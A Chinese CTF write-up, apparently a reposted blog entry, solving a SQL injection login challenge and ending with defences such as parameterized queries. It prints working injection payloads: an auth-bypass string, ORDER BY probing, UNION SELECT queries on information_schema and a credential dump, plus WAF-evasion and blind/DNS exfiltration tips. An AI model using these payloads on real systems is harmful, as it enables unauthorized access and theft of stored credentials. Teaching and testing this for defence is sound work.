本文仅用于技术研究,禁止用于非法用途。
Author:枷锁

文章目录

      • 一、题目核心漏洞分析
      • 二、关键解题步骤与技术解析
        • 1. 确定列数(`ORDER BY`)
        • 2. 联合查询获取表名
        • 3. 爆破字段名
        • 4. 提取Flag
      • 三、漏洞根源与防御方案
        • 1. 漏洞成因
        • 2. 防御措施
      • 四、CTF技巧延伸
      • 五、漏洞修复效果验证

拿到题目又是熟悉的表单结构,根据题目提示,是考察sql注入,输入 11", 1',进行测试
在这里插入图片描述
发现只有输入 1'的时候有回显,说明可能存在字符型注入
在这里插入图片描述
尝试 1' or 1=1 #万能密码绕过
在这里插入图片描述
提示登录成功了,并给了一串字符,但这显然不是我们要的flag,应该是应该陷阱,好的我们,可以换一个思路,联合注入查询

一、题目核心漏洞分析

漏洞类型

  • 单引号字符型注入:通过 1' or 1=1# 成功登录,说明用户名输入点存在未过滤的单引号闭合漏洞,攻击者通过闭合单引号注入恶意逻辑。
  • 万能密码原理1=1 构造永真条件,# 注释后续密码验证,直接绕过身份认证。

二、关键解题步骤与技术解析

尝试联合注入查询

1. 确定列数(ORDER BY
  • 原理ORDER BY n 根据第n列排序,若n超过实际列数则报错。
  • 操作
    1' ORDER BY 4#   → 显示数据库报错---成功(列数≥4)
    1' ORDER BY 5#   → 正常报错---失败(实际列数=4)
    


所以我们确定实际列数=4

2. 联合查询获取表名
  • Payload

    1' UNION SELECT 1,2,group_concat(table_name) FROM information_schema.tables WHERE table_schema=database()#
    
  • 技术点

    • table_schema=database() 限定当前数据库。
    • 返回表名:geekuser, l0ve1ysq1(注意 l0ve1ysq1 是刻意命名的敏感表)。
      在这里插入图片描述
3. 爆破字段名
  • Payload示例
    1' UNION SELECT 1,2,group_concat(column_name) FROM information_schema.columns WHERE table_name='geekuser'#
    
  • 结果:两张表结构相同(id, username, password),说明可能存在数据镜像或测试冗余。
4. 提取Flag
  • 关键操作
    1' UNION SELECT 1,2,group_concat(id,username,password) FROM l0ve1ysq1#
    
  • 发现password 字段存储Flag格式数据(flag{...})。
    在这里插入图片描述

三、漏洞根源与防御方案

1. 漏洞成因
  • 动态SQL拼接:未对用户输入转义(如单引号未处理)。
  • 错误回显暴露信息:报错或查询结果直接回显前端,辅助攻击者判断注入有效性。
  • 过度权限:数据库账户可访问 information_schema,泄露元数据。
2. 防御措施
  • 参数化查询
    $stmt = $conn->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
    $stmt->bind_param("ss", $username, $password);
    
    通过预编译分离指令与数据,彻底杜绝拼接风险。
  • 最小化权限:数据库账户禁用 information_schema 访问权限。
  • 输入过滤
    • 过滤单引号:str_replace("'", "", $input)
    • 正则匹配白名单:如用户名仅允许字母数字。
  • 错误处理:关闭数据库报错回显,替换为通用错误页面。

四、CTF技巧延伸

  1. 无回显场景解法
  • 时间盲注:用 IF(condition, SLEEP(5), 0) 结合响应延迟逐字符猜解。
  • DNS外带:通过 LOAD_FILE() 发起DNS请求泄露数据(需高权限)。
  1. WAF绕过技巧
  • 注释混淆' UN/**/ION SEL/**/ECT 1,2,3#
  • 十六进制编码table_name=0x6765656b75736572geekuser 的HEX)。

五、漏洞修复效果验证

措施测试方法预期结果
参数化查询输入 ' OR 1=1#登录失败,无结果返回
关闭错误回显输入 ' ORDER BY 100#返回统一错误页,无具体信息
禁用元数据访问尝试查询 information_schema返回“权限不足”

宇宙级免责声明​​
🚨 重要声明:本文仅供合法授权下的安全研究与教育目的!🚨
1.合法授权:本文所述技术仅适用于已获得明确书面授权的目标或自己的靶场内系统。未经授权的渗透测试、漏洞扫描或暴力破解行为均属违法,可能导致法律后果(包括但不限于刑事指控、民事诉讼及巨额赔偿)。
2.道德约束:黑客精神的核心是建设而非破坏。请确保你的行为符合道德规范,仅用于提升系统安全性,而非恶意入侵、数据窃取或服务干扰。
3.风险自担:使用本文所述工具和技术时,你需自行承担所有风险。作者及发布平台不对任何滥用、误用或由此引发的法律问题负责。
4.合规性:确保你的测试符合当地及国际法律法规(如《计算机欺诈与滥用法案》(CFAA)、《通用数据保护条例》(GDPR)等)。必要时,咨询法律顾问。
5.最小影响原则:测试过程中应避免对目标系统造成破坏或服务中断。建议在非生产环境或沙箱环境中进行演练。
6.数据保护:不得访问、存储或泄露任何未授权的用户数据。如意外获取敏感信息,应立即报告相关方并删除。
7.免责范围:作者、平台及关联方明确拒绝承担因读者行为导致的任何直接、间接、附带或惩罚性损害责任。

🔐 安全研究的正确姿势:
✅ 先授权,再测试
✅ 只针对自己拥有或有权测试的系统
✅ 发现漏洞后,及时报告并协助修复
✅ 尊重隐私,不越界

⚠️ 警告:技术无善恶,人心有黑白。请明智选择你的道路。

希望这个教程对你有所帮助!记得负责任地进行安全测试。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/news/917615.shtml
繁体地址,请注明出处:http://hk.pswp.cn/news/917615.shtml
英文地址,请注明出处:http://en.pswp.cn/news/917615.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

AI时代,童装销售的“指路明灯”

别看现在AI、大数据这些词眼花缭乱的,当年我刚入行那会儿,也跟你一样,对着一堆库存和销量数据发愁,不知道劲儿该往哪使。童装销售这行,看着简单,其实水挺深。不过呢,这二十多年摸爬滚打下来&…

Swin-Transformer从浅入深详解

第一部分:出现背景在 Swin Transformer 出现之前,计算机视觉(Computer Vision, CV)领域主要由 CNN (卷积神经网络) 主导。后来,NLP(自然语言处理)领域的 Transformer 模型被引入 CV,…

如何手动打包 Linux(麒麟系统)的 Qt 程序

gcc版本 gcc版本确保目标系统(运行环境)的 GCC 版本 高于或等于开发环境的版本,否则程序无法在目标平台运行。通过 gcc -v 可查看当前版本。cmake生成可执行文件 强烈建议在cmakelists添加设置运行时 rpath 为 $ORIGIN/…/lib(相对…

解决 “crypto.hash is not a function”:Vite 从 6.x 升级至 7.x 后 `pnpm run dev` 报错问题

🚀 作者主页: 有来技术 🔥 开源项目: youlai-mall ︱vue3-element-admin︱youlai-boot︱vue-uniapp-template 🌺 仓库主页: GitCode︱ Gitee ︱ Github 💖 欢迎点赞 👍 收藏 ⭐评论 …

我的创作纪念日____在 CSDN一年来的成长历程和收获

365 天创作札记:在代码与文字的褶皱里,遇见 1300 束光一年来。点开csdn网站后台粉丝数的那一刻,1327 这个数字在屏幕上微微发烫。原来那些在深夜敲下的字符、调试到凌晨的代码示例、反复修改的技术拆解,真的在时光里悄悄织成了一张…

VirtualBox 的 HOST 键(主机键)是 右Ctrl 键(即键盘右侧的 Ctrl 键)笔记250802

VirtualBox 的 HOST 键(主机键)是 右Ctrl 键(即键盘右侧的 Ctrl 键)笔记250802 VirtualBox 的 HOST 键(主机键)是什么?HOST键 是 右Ctrl 键VirtualBox 的 主机键(Host Key) 是一个…

Zama的使命

全同态加密(Fully Homomorphic Encryption,FHE)实现互联网端到端加密的使命的重要里程碑。(FHE) 是一种无需解密即可处理数据的技术。它可用于在公共、无需许可的区块链上创建私人智能合约,只有特定用户才能看到交易数据和合约状态…

Go语言流式输出技术实现-服务器推送事件(Server-Sent Events, SSE)

目录引言背景与技术概述实现技术细节1. HTTP 头部配置2. 事件格式与发送3. 保持连接与刷新4. 处理连接关闭4.1 使用上下文管理连接生命周期4.2 使用通道管理客户端连接5. 客户端交互6.demo7.Go转发大模型流式输出demo引言 服务器推送事件(Server-Sent Events, SSE&…

高端房产管理小程序

系统介绍1、用户端地图找房:对接地图API,地图形式显示周边房源,支持新盘和租房两种模式查询房价走势:城市房价走势,由后台每月录入房源搜索:搜索房源,支持多维度筛选房源类型:新盘销售、房屋租赁…

文本转语音(TTS)脚本

文本转语音(TTS)脚本 概述 generate_voice.py 是一个用于生成语音的Python脚本。该脚本提供了文本转语音(TTS)功能,可以将文本内容转换为语音文件。 功能特性 文本转语音: 将输入的文本转换为语音文件多种语音选项: 支持不同的语音类型和参数批量处理: 可以处理多个…

磁盘管理与分区

磁盘管理 一、磁盘类型 SATA,SCSI,SAS类型的磁盘,在Linux中用sd来表示。 其中第一块硬盘为sda,第二块二sdb,以此类推。 第一块硬盘的第一个分区为sda1。 nvme类型的磁盘,在Linux中使用nvmeXnYpZ进行表示。 X:数字&…

Linux 逻辑卷管理

练习创建物理卷(pv->vg->lv)物理卷(PV)就像把一块块独立的硬盘,标记成 "可用于搭建 LVM 的积木",让系统知道这些硬盘可以被 LVM 管理。#把sdb这块硬盘标记为物理卷(相当于给这块积木盖章,说…

向日葵参考基因组

向日葵参考基因组升级多个版本 向日葵基因组为油脂代谢、开花调控及菊类植物进化提供新见解-文献精读151-CSDN博客 官网 https://www.sunflowergenome.org/annotations-data/

什么是爬虫协议?

什么是爬虫协议? 爬虫协议(Crawl Protocol)是指为了有效地收集网页内容而建立的一些规定和标准,用以指导网络爬虫如何在互联网上抓取信息。 爬虫协议主要指的是Robots协议(Robots Exclusion Protocol)&am…

空间平面旋转与xoy平行

空间平面旋转与xoy平行 法向量 空间平面axbyczd0的其中一个法向量(a,b,c),法向量垂直于空间平面。目标平面平行于xoy的平面为0x0yczd0;其中一个法向量为(0,0,c),c可以为不为0的任意值,取(0,0,1),目标平面的的法向量垂直于xoy平面 向量叉乘点乘 两个向量的…

odoo reportbro 拖拽式报表设计

报表设计以及下载 在实际业务中应用非常的广泛且频繁。odoo 本身也具有报表设计功能,但都是代码模式。且需要开发人员定制化开发,耗费成本高 所以引入reportbro报表设计就非常的简单快捷。低代码模式 以下以销售报表为例进行演示 报表字段配置报表界面设…

数字信号处理_编程实例1

stem([1,2,3]) 一、初始设置 %% 初始设置 % 清空工作空间,关闭无关页面 clc,clear,close all; % 绘图变量 font_size 12; %全局基础字体大小 axis_size 10; %坐标轴刻度标签字体大小 line_width 2; %绘图线条宽度 legend_size 10.5; %图例字体大小 marker_siz…

Docker 安装部署 OceanBase

1.拉取镜像 docker pull oceanbase/oceanbase-ce:latest2.启动oceanbase容器 docker run -p 2881:2881 --name oceanbase-ce -e MINI_MODE0 -d quay.io/oceanbase/oceanbase-ce3.查看oceanbase初始化的日志信息 docker logs oceanbase-ce4.进入oceanbase容器 docker exec -it o…

【华为机试】685. 冗余连接 II

文章目录685. 冗余连接 II题目描述示例 1:示例 2:提示:解题思路算法分析核心思想算法策略算法对比问题分类流程图并查集环检测流程入度统计与候选边选择情况分析决策树完整算法流程复杂度分析时间复杂度空间复杂度关键实现技巧1. 并查集优化2…

Redis之Hash和List类型常用命令

Redis之Hash和List类型常用命令一、Hash类型详解1. Hash类型的特点2. 常用命令及示例(1)设置字段值(2)获取字段值(3)删除字段(4)其他常用命令3. 应用场景二、List类型详解1. List类型…